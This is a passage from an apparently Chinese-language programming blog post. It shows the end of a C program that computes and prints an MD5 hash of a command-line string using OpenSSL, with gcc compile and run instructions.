        fprintf(stderr, "%s <input string>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    snprintf(input_string, sizeof(input_string), "%s\n", argv[1]);
 
    // initialize a hash context 
    MD5_Init(&hash_ctx);
 
    // update the input string to the hash context (you can update
    // more string to the hash context)
    MD5_Update(&hash_ctx, input_string, strlen(input_string));
 
    // compute the hash result
    MD5_Final(hash_ret, &hash_ctx);
 
    // print
    printf("Input string: %s", input_string);
    printf("Output string: ");
    for (i=0; i<32; ++i) 
    {
        if (i % 2 == 0) 
        {
            printf("%x", (hash_ret[i/2] >> 4) &0xf);
        } 
        else 
        {
            printf("%x", (hash_ret[i/2]) &0xf);
        }
    }
    printf("\n");
 
    return 0;
}

usage:
1. 編譯程序
gcc -Wall md5.c -o md5 -lssl
2. 運行程序
./md5 hello

 

Copyright (c) 2014 LittleHann All rights reserved

相關文章
相關標籤/搜索